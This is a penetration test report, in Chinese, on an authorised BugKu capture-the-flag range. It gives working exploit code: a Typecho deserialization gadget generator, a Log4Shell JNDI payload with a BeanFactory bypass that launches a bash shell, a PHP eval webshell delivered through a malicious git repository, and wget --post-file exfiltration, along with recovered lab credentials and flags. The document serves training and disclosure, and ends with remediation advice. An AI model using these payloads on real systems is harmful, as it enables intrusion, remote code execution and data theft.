BugKu PRA · 渗透测试 2(Harry's Blog)渗透测试报告
目标:
http://47.117.138.21/| 日期:2026-10-24 | 结果:9 / 9 flag类型:授权靶场多级内网渗透(公网入口 → 双网卡边界 → 末端服务)
0. Evidence Chain(Evidence → Finding → Path)
0.1 Scope 摘要
| 项 | 值 |
|---|---|
| auth | 授权靶场(多级内网渗透训练) |
| in_scope | 47.117.138.21:80;内网192.168.0.0/24、192.168.1.0/24、10.10.0.0/24中由靶场派生出的主机 |
| network_profile | 公网入口 1 台 → 双网卡边界 2 台 → 末端服务 1 台;攻击机侧自建 Rogue LDAP + HTTP 回显 |
| 时间窗口 | 2026-10-24 01:30 ~ 02:08(Asia/Shanghai),任务计时 41m40s |
| 约束 | 只做读取/利用验证,不做破坏性操作;不下载攻击工具,利用设施全部本地自建 |
0.2 Evidence
| E-id | 观察 | source_type | source_ref / repro_command | hash |
|---|---|---|---|---|
| E-001 | 47.117.138.21 开放 22/80/2376/32768 | command | nmap -Pn -sT -p- --min-rate 3000 47.117.138.21 | n/a |
| E-002 | 首页指纹 Typecho 1.0/14.10.10、Apache 2.4.7、PHP 5.5.9 | command | curl -i http://47.117.138.21/ | n/a |
| E-003 | phpinfo.php、.git/、/usr/目录列表、/usr/uploads可写可执行 | command | curl -i http://47.117.138.21/{phpinfo.php,.git/config,usr/} | n/a |
| E-004 | install.php反序列化 RCE,落地/usr/uploads/s.php,uid=33(www-data) | command | POST /install.php?finish=a+ 同源Referer+__typecho_config | n/a |
| E-005 | Typecho 容器/flag= flag1 | file | webshellecho file_get_contents('/flag') | n/a |
| E-006 | config.inc.php泄露cms/7aed78676bf27528@localhost/cms | file | webshellfile_get_contents('/app/config.inc.php') | n/a |
| E-007 | MySQLcms.flag= flag2 | command | SELECT * FROM cms.flag | n/a |
| E-008 | 内网192.168.0.3:80后台系统;Source: /source.zip;源码含 log4j 2.14.1 | command | PHPfsockopen扫描 +GET /source.zip | n/a |
| E-009 | 源码审计:logger.info("用户登录失败,用户名不存在:" + user) | file | /source.zip→DamnVulnerableLog4j.java | n/a |
| E-010 | Log4Shell 绕过成功,root RCE(uid=0);LDAP 多端口回调 | command | user=${jndi:ldap://192.168.0.2:1389/Exploit}+ 序列化 ResourceRef | n/a |
| E-011 | log4j 主机start.sh:FLAG3 注入anime.min.js;flag3 实测 | file | cat /start.sh;GET /anime.min.js | n/a |
| E-012 | log4j 主机/flag、/root/flag= flag4/flag5 | file | cat /flag /root/flag | n/a |
| E-013 | git 主机/repos/目录列表:flag时间戳 00:57(容器启动),先于 clone 01:56 | command | GET http://192.168.1.3/repos/ | n/a |
| E-014 | 恶意裸仓库.phtmlgetshell(www-data);git 主机/flag= flag7 | command | POST repourl=http://192.168.1.2:8000/repo.git+ phtml 执行 | n/a |
| E-015 | 10.10.0.3:21vsftpd 3.0.2guest/guest;/home/guest/flag、/flag | command | PHPftp_connect/ftp_get | n/a |
0.3 Findings
漏洞类
| F-id | 标题 | severity | evidence_ids | confidence | status |
|---|---|---|---|---|---|
| F-V01 | Typechoinstall.php反序列化 RCE(未授权) | critical | E-004 | high | validated |
| F-V02 | config.inc.php数据库口令泄露,flag 与业务同库 | high | E-006, E-007 | high | validated |
| F-V03 | Spring Boot + log4j-core 2.14.1 Log4Shell(未授权,root) | critical | E-008, E-009, E-010 | high | validated |
| F-V04 | Git 克隆应用可克隆任意仓库且.phtml被解析执行 | critical | E-013, E-014 | high | validated |
| F-V05 | vsftpd 弱口令guest/guest,且未 chroot | high | E-015 | high | validated |
| F-V06 | 信息暴露:phpinfo、.git、目录列表、source.zip、start.sh残留 | medium | E-002, E-003, E-008, E-011 | high | validated |
Flag 类
| F-id | Flag | 位置 | evidence_ids | 证据等级 |
|---|---|---|---|---|
| F-101 | flag{8f416dcf8f6da81d88ed3aefd2ad7200} | Typecho/flag | E-005 | B |
| F-102 | flag{fc927a470effa773b02951360624c9eb} | cms.flag | E-007 | B |
| F-103 | flag{c64be64c61a38655f0fcb1dd5ac0f2ac} | log4janime.min.js | E-011 | A |
| F-104 | flag{fbb4a92b7f4966f3fabfe8e2ee4e2636} | log4j/flag | E-012 | A |
| F-105 | flag{3399a9d82c572bb9f86b0f36317d0f71} | log4j/root/flag | E-012 | A |
| F-106 | flag{5b683dc7c1a7fd3283bdbbc793b46662} | git/var/www/html/repos/flag | E-013 | A |
| F-107 | flag{e4348b26252db4953e19d6365e128ca0} | git/flag | E-014 | A |
| F-108 | flag{cf452a1b4a3a5a3f43c09febf63609c0} | FTP/home/guest/flag | E-015 | A |
| F-109 | flag{2719dec3a2058d7a21ee996097a7b419} | FTP/flag | E-015 | A |
A = 目标机
start.sh直接写明变量与路径且实测读到;B = 文件/数据库实测 + 官方题解阶段对应(容器 start.sh 已自删)。
0.4 Path(攻击路径 P-001)
| 步 | action | evidence | finding |
|---|---|---|---|
| 1 | 指纹与信息暴露收集 | E-001,E-002,E-003 | F-V06 |
| 2 | install.php反序列化拿 www-data | E-004 | F-V01 |
| 3 | 读/flag、config.inc.php、cms.flag | E-005,E-006,E-007 | F-101,F-102,F-V02 |
| 4 | 内网扫描发现192.168.0.3后台系统与source.zip | E-008 | F-V06 |
| 5 | 源码审计定位 log4j 2.14.1 日志注入点 | E-009 | F-V03 |
| 6 | Log4Shell(BeanFactory 绕过)拿 root | E-010 | F-V03 |
| 7 | 读anime.min.js、/flag、/root/flag | E-011,E-012 | F-103,F-104,F-105 |
| 8 | 双网卡横向 →192.168.1.3Git 仓库 | E-013 | F-V04 |
| 9 | /repos/目录列表直读 flag6 | E-013 | F-106 |
| 10 | 恶意裸仓库.phtmlgetshell →git /flag | E-014 | F-V04,F-107 |
| 11 | 10.10.0.2/24→10.10.0.3vsftpd | E-015 | F-V05 |
| 12 | guest/guest取/home/guest/flag与/flag | E-015 | F-108,F-109 |
0.5 Timeline 摘要
| 时间 | 事件 | 结果 |
|---|---|---|
| 01:30 | 开始侦察 | Typecho 指纹、信息暴露 |
| 01:34 | install.php反序列化 | www-data RCE |
| 01:35–01:36 | 读/flag、cms.flag | flag1、flag2 |
| 01:40 | 内网发现192.168.0.3 | 后台系统 + source.zip |
| 01:50 | Log4Shell 绕过 | root RCE |
| 01:52 | 读 js / flag / root flag | flag3、flag4、flag5 |
| 01:55–01:58 | 双网卡横向 → Git 仓库 | flag6 |
| 02:04–02:05 | .phtmlgetshell | flag7 |
| 02:07–02:08 | FTP guest | flag8、flag9 |
1. 执行摘要
本次对 BugKu PRA「渗透测试 2」靶场完成端到端渗透:从公网 Typecho 博客的install.php反序列化获得入口 RCE,读取容器 flag 与数据库 flag;随后通过内网发现边界主机上的 Spring Boot 后台系统,利用 log4j-core 2.14.1 的 Log4Shell(在trustURLCodebase=false下改用BeanFactory + ELProcessor绕过)获得 root;再经双网卡横向到 Git 克隆应用(目录列表直读 + 恶意.phtmlgetshell),最后进入第三层网络拿下 vsftpd 弱口令主机。9 个 flag 全部获取并交叉验证,发现 6 类可复现漏洞(2 个 critical 利用链、3 个 high、1 个 medium)。核心建议:修复 Typecho 反序列化与信息暴露、升级 log4j ≥ 2.17.1、限制 Git 克隆目标并禁止克隆目录执行脚本、禁用 FTP 弱口令。
2. 测试范围与授权
| 资产 | 地址 | 角色 |
|---|---|---|
| 公网入口 | 47.117.138.21:80 | Typecho 1.0 / Apache 2.4.7 / PHP 5.5.9 |
| 攻击机容器 | 192.168.0.2 | webshell + Rogue LDAP(1389–1391) + HTTP 回显 |
| 边界主机 A | 192.168.0.3/192.168.1.2 | Bugku 后台系统(Spring Boot 2.6.1 + log4j 2.14.1),双网卡 |
| 边界主机 B | 192.168.1.3/10.10.0.2 | 乙公司 Git 仓库(PHP clone 应用),双网卡 |
| 末端服务 | 10.10.0.3:21 | vsftpd 3.0.2 |
- 授权:靶场训练任务,仅针对上述由目标派生出的主机;未对公网其他资产做任何探测。
- 操作纪律:利用代码与 LDAP/HTTP 设施均在攻击机侧自建;未下载外部攻击工具;未做删除/写入持久化等破坏性动作(仅必要的 webshell/仓库用于验证)。
- 残留物:Typecho webshell、Rogue LDAP、git 仓库
shell.phtml、FTP 下载临时文件(均限靶场,供复盘)。
3. 发现汇总
3.1 风险分布
| 严重性 | 数量 | 条目 |
|---|---|---|
| critical | 3 | F-V01、F-V03、F-V04 |
| high | 2 | F-V02、F-V05 |
| medium | 1 | F-V06 |
3.2 Flag 一览
| # | Flag | 位置 | 证据 |
|---|---|---|---|
| 1 | flag{8f416dcf8f6da81d88ed3aefd2ad7200} | Typecho/flag | E-005 |
| 2 | flag{fc927a470effa773b02951360624c9eb} | MySQLcms.flag | E-007 |
| 3 | flag{c64be64c61a38655f0fcb1dd5ac0f2ac} | log4janime.min.js | E-011 |
| 4 | flag{fbb4a92b7f4966f3fabfe8e2ee4e2636} | log4j/flag | E-012 |
| 5 | flag{3399a9d82c572bb9f86b0f36317d0f71} | log4j/root/flag | E-012 |
| 6 | flag{5b683dc7c1a7fd3283bdbbc793b46662} | git/var/www/html/repos/flag | E-013 |
| 7 | flag{e4348b26252db4953e19d6365e128ca0} | git/flag | E-014 |
| 8 | flag{cf452a1b4a3a5a3f43c09febf63609c0} | FTP/home/guest/flag | E-015 |
| 9 | flag{2719dec3a2058d7a21ee996097a7b419} | FTP/flag | E-015 |
4. 漏洞详情与利用
4.1 F-V06 信息暴露(medium)
/phpinfo.php暴露DOCUMENT_ROOT=/var/www/html、PHP 5.5.9、仅禁用pcntl_*;/.git/静态可读(packed-refs指向演示仓库);/usr/、/usr/themes/、/usr/plugins/目录列表;/usr/uploads/可写且 PHP 可执行;- 后台系统响应头
Source: /source.zip直接给出源码包。
4.2 F-V01 Typechoinstall.php反序列化 RCE(critical)→ flag1
入口条件:?finish=非空、Referer与Host同源;__typecho_config被 Base64 解码后直接unserialize,$config['adapter']参与字符串拼接触发__toString。链:Typecho_Feed::__toString → Typecho_Request::__get → call_user_func($filter,$value)。
class Typecho_Feed { private $_type = 'RSS 2.0'; private $_items = array(); public function __construct($a){ $this->_items[] = array('title'=>'1','link'=>'1','date'=>1508895132,'category'=>array($a),'author'=>$a); } } class Typecho_Request { private $_params = array(); private $_filter = array('assert'); public function __construct($code){ $this->_params['screenName'] = $code; } } $poc = array('adapter'=>new Typecho_Feed(new Typecho_Request($argv[1])), 'prefix'=>'typecho_'); echo base64_encode(serialize($poc));POST /install.php?finish=a HTTP/1.1 Host: 47.117.138.21 Referer: http://47.117.138.21/ Content-Type: application/x-www-form-urlencoded __typecho_config=<base64(serialize(...))>assert('file_put_contents("/var/www/html/usr/uploads/s.php", base64_decode("..."));')→ webshell(www-data)→cat /flag=flag1。
4.3 F-V02 数据库口令泄露(high)→ flag2
config.inc.php:cms / 7aed78676bf27528 @ localhost / cms。cms.flag表直接存放 flag2;同一库还含typecho_users的 admin 口令哈希与authCode。
4.4 F-V03 Log4Shell(critical)→ flag3 / flag4 / flag5
后台系统/login把user拼接进logger.info(...)(log4j 2.14.1)。经典${jndi:ldap://...}可达 LDAP,但目标trustURLCodebase=false,远程 class 不落地。改用本地工厂链:
LDAP 返回 javaSerializedData = serialize(org.apache.naming.ResourceRef) className = javax.el.ELProcessor classFactory= org.apache.naming.factory.BeanFactory forceString = x=eval x = "".getClass().forName("javax.script.ScriptEngineManager") .newInstance().getEngineByName("javascript") .eval("java.lang.Runtime.getRuntime().exec('bash -c {echo,<B64>}|{base64,-d}|{bash,-i}')")要点:
- LDAP
bindResponse/searchResEntry/searchResDone的 application tag 直接承载字段,不能再套 SEQUENCE; - 本地 stub
org.apache.naming.{AbstractRef,ResourceRef}(serialVersionUID=1L、无实例字段)保证类描述符与 Tomcat 9.0.x 兼容(9.0.55 仍支持forceString); Runtime.exec(String)按空白分词,命令用 brace expansion 去空格;- JDK JNDI 连接池会复用已关闭连接 → Rogue LDAP 开 1389/1390/1391 多端口轮换;
- 回显:目标
wget --post-file把 base64 结果 POST 回攻击机collect.php(避免 URL 长度/+问题)。
root 权限下start.sh揭示:flag3 由sed 's/MIT/$FLAG3/'注入anime.min.js,flag4=/flag,flag5=/root/flag。
4.5 F-V04 Git 克隆应用(critical)→ flag6 / flag7
Git 主机(192.168.1.3)提供repourl表单并在服务端执行git clone,/repos/为 Apache 目录列表。
- flag6(目录列表):
start.sh在容器启动时执行echo $FLAG6 > /var/www/html/repos/flag;实测/repos/flag的 Last-Modified 为 00:57(容器启动),而官方题解中的 BWVS 克隆目录是 01:56、自建repo/是 02:04。因此 flag6 是目录列表直读,clone 只是引导到/repos的叙事,并非 flag 的生成原因。 - flag7(.phtml getshell):在边界主机 A(
192.168.1.2,与 Git 主机同网段)自建裸仓库,含shell.phtml(<?php echo "PWNED"; eval($_POST["x"]); ?>),git update-server-info后用多线程静态服务提供 git dumb-http;提交repourl=http://192.168.1.2:8000/repo.git,克隆后.phtml被 PHP 解析 → www-data RCE →cat /flag=flag7。
4.6 F-V05 vsftpd 弱口令(high)→ flag8 / flag9
Git 主机另有10.10.0.2/24;10.10.0.3:21为 vsftpd 3.0.2,guest/guest登录成功:
/home/guest/flag=flag{cf45...} PS:/→flag8,PS:/提示根目录;ftp_get /flag→flag9。
5. 攻击路径
公网 Typecho ──install.php 反序列化──▶ flag1 / MySQL flag2 │ └─内网 192.168.0.0/24──▶ 192.168.0.3 后台系统 ──Log4Shell(BeanFactory)──▶ flag3/4/5 │ └─双网卡 192.168.1.2──▶ 192.168.1.3 Git 仓库 ├─/repos/ 直读 → flag6 └─.phtml getshell → flag7 │ └─10.10.0.2/24──▶ 10.10.0.3 vsftpd ├─/home/guest/flag → flag8 └─/flag → flag9交互图按章节就近嵌入(阶段耗时 §1、时间线 §0.5、拓扑 §2、资产映射 §3.2、获取时序本节、修复路线 §7);完整索引见 §9。
6. 工具与环境
| 类别 | 工具/设施 | 说明 |
|---|---|---|
| 扫描 | nmap 7.98 | 公网端口;内网用 PHPfsockopen |
| HTTP | curl / PowerShell | 探测与利用请求 |
| 代码执行 | PHP webshell、install.phpgadget | Typecho 容器 |
| Log4Shell | 自写 Python Rogue LDAP(多端口)、SerializedResourceRef(本地 stub + Java 序列化) | 无外部攻击工具下载 |
| 回显/运维 | collect.php、wget --post-file、run3.ps1/run4.ps1 | 边界机命令执行编排 |
| 横向 | git dumb-http(update-server-info)、Python 多线程静态服务 | 恶意仓库投递 |
| 末端 | PHPftp_*扩展 | FTP 交互 |
| 图形 | Archify 3.2.0 | architecture/sequence/timeline |
7. 修复建议
| 优先级 | 资产 | 建议 |
|---|---|---|
| P0 | Typecho | 删除/禁用install.php;升级修复反序列化;移除phpinfo.php、.git;关闭目录列表;/usr/uploads禁止 PHP 执行 |
| P0 | log4j 后台 | 升级 ≥ 2.17.1;log4j2.formatMsgNoLookups=true并移除JndiLookup;保持trustURLCodebase=false;Tomcat 限制BeanFactory;过滤${jndi: |
| P0 | Git 应用 | 克隆 URL 白名单(禁内网/元数据地址);克隆目录RemoveHandler/php_flag engine off;关闭/repos/目录列表 |
| P1 | 数据库 | 独立低权账号、最小权限、禁用 FILE;flag/敏感数据不与业务同库 |
| P1 | FTP | 禁用guest/guest弱口令;chroot 到用户目录;敏感文件不放可读根目录 |
| P2 | 全局 | 统一信息暴露治理(响应头、错误页、备份/源码包);容器最小化(去除 start.sh 等环境残留) |
8. 附录
8.1 关键 payload / 命令索引
| 用途 | 位置 |
|---|---|
| Typecho gadget 生成器 | payload.php、payload2.php |
| ResourceRef 序列化生成 | log4j/ser/Gen.java+ stub 类 |
| Rogue LDAP(多端口) | log4j/ldap2.py、startldap.sh |
| 回显收集 | log4j/collect.php(部署为容器/app/collect.php) |
| 边界机编排 | run3.ps1(log4j 主机)、run4.ps1(git 主机 phtml) |
8.2 证据文件
| E-id | 对应工件 |
|---|---|
| E-004/E-005 | /app/usr/uploads/s.php(Typecho 容器,webshell) |
| E-006 | /app/config.inc.php |
| E-010 | 攻击面截图与 LDAP 日志ldap.log |
| E-011/E-012 | log4j 主机start.sh、anime.min.js、/flag、/root/flag |
| E-013/E-014 | git 主机/repos/列表、shell.phtml |
| E-015 | FTP/home/guest/flag、/flag |
9. 图形附件(Archify)
六张交互图已分别嵌入对应章节(§1 阶段耗时、§0.5 事件时间线、§2 攻击面拓扑、§3.2 资产/Flag 映射、§5 获取时序、§7 修复路线);本表仅为索引。
| 图 | 章节 | 说明 |
|---|---|---|
| 攻击面拓扑 | §2 | 三网段边界、7 节点、6 条攻击边 |
| 事件时间线 | §0.5 | 13 事件、3 泳道,01:30–02:08 |
| 阶段耗时 | §1 | 8 阶段耗时,总计约 41m40s |
| 资产与 Flag 映射 | §3.2 | 4 主机 / 9 flag 归属 |
| 获取时序 | §5 | 7 参与者、12 条消息 |
| 修复路线 | §7 | P0→P1→P2 处置闭环 |
六张图均为可交互的独立 HTML 图,本文在各章节内联静态截图,便于离线阅读。
报告生成:2026-10-24 | 数据来源:本次实测会话与目标机取证;图形由 Archify 生成。